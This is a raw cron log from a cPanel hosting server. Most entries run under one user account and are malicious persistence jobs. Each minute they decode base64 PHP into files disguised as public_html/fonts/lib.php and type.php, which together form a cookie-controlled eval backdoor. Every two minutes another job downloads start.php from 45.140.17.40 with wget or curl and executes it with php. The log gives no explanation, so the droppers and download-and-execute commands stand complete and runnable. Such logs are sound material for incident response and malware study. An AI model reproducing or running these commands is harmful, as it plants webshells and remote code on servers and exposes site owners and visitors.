Aug 30 07:40:02 ip-184-168-122-23 CROND[5156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:40:02 ip-184-168-122-23 CROND[5154]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:40:02 ip-184-168-122-23 CROND[5158]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:41:01 ip-184-168-122-23 CROND[5342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:41:01 ip-184-168-122-23 CROND[5346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:41:01 ip-184-168-122-23 CROND[5347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:41:01 ip-184-168-122-23 CROND[5349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:42:01 ip-184-168-122-23 CROND[5427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:42:01 ip-184-168-122-23 CROND[5429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:42:01 ip-184-168-122-23 CROND[5431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:42:01 ip-184-168-122-23 CROND[5430]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:42:01 ip-184-168-122-23 CROND[5432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:43:01 ip-184-168-122-23 CROND[5512]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:43:01 ip-184-168-122-23 CROND[5513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:43:01 ip-184-168-122-23 CROND[5514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:43:01 ip-184-168-122-23 CROND[5515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:44:01 ip-184-168-122-23 CROND[5594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:44:01 ip-184-168-122-23 CROND[5595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:44:01 ip-184-168-122-23 CROND[5597]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:44:01 ip-184-168-122-23 CROND[5599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:44:01 ip-184-168-122-23 CROND[5600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:45:01 ip-184-168-122-23 CROND[5681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:45:01 ip-184-168-122-23 CROND[5682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:45:01 ip-184-168-122-23 CROND[5684]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 07:45:01 ip-184-168-122-23 CROND[5686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:45:01 ip-184-168-122-23 CROND[5687]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 07:45:01 ip-184-168-122-23 CROND[5691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:46:01 ip-184-168-122-23 CROND[5778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:46:01 ip-184-168-122-23 CROND[5779]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:46:01 ip-184-168-122-23 CROND[5782]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 07:46:01 ip-184-168-122-23 CROND[5785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:46:01 ip-184-168-122-23 CROND[5783]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 07:46:01 ip-184-168-122-23 CROND[5786]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:46:01 ip-184-168-122-23 CROND[5784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:47:01 ip-184-168-122-23 CROND[6097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:47:01 ip-184-168-122-23 CROND[6099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:47:01 ip-184-168-122-23 CROND[6098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:47:01 ip-184-168-122-23 CROND[6100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:48:01 ip-184-168-122-23 CROND[6318]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:48:01 ip-184-168-122-23 CROND[6320]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:48:01 ip-184-168-122-23 CROND[6321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:48:01 ip-184-168-122-23 CROND[6323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:48:01 ip-184-168-122-23 CROND[6322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:49:01 ip-184-168-122-23 CROND[6413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:49:01 ip-184-168-122-23 CROND[6414]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:49:01 ip-184-168-122-23 CROND[6418]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 30 07:49:01 ip-184-168-122-23 CROND[6419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:49:01 ip-184-168-122-23 CROND[6417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:50:01 ip-184-168-122-23 CROND[6611]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 07:50:01 ip-184-168-122-23 CROND[6613]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:50:01 ip-184-168-122-23 CROND[6618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:50:01 ip-184-168-122-23 CROND[6619]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 07:50:01 ip-184-168-122-23 CROND[6622]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 07:50:01 ip-184-168-122-23 CROND[6623]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 07:50:01 ip-184-168-122-23 CROND[6628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:50:01 ip-184-168-122-23 CROND[6629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:50:01 ip-184-168-122-23 CROND[6627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:51:01 ip-184-168-122-23 CROND[6788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:51:01 ip-184-168-122-23 CROND[6790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:51:01 ip-184-168-122-23 CROND[6792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:51:01 ip-184-168-122-23 CROND[6791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:52:01 ip-184-168-122-23 CROND[6892]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:52:01 ip-184-168-122-23 CROND[6896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:52:01 ip-184-168-122-23 CROND[6894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:52:01 ip-184-168-122-23 CROND[6895]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
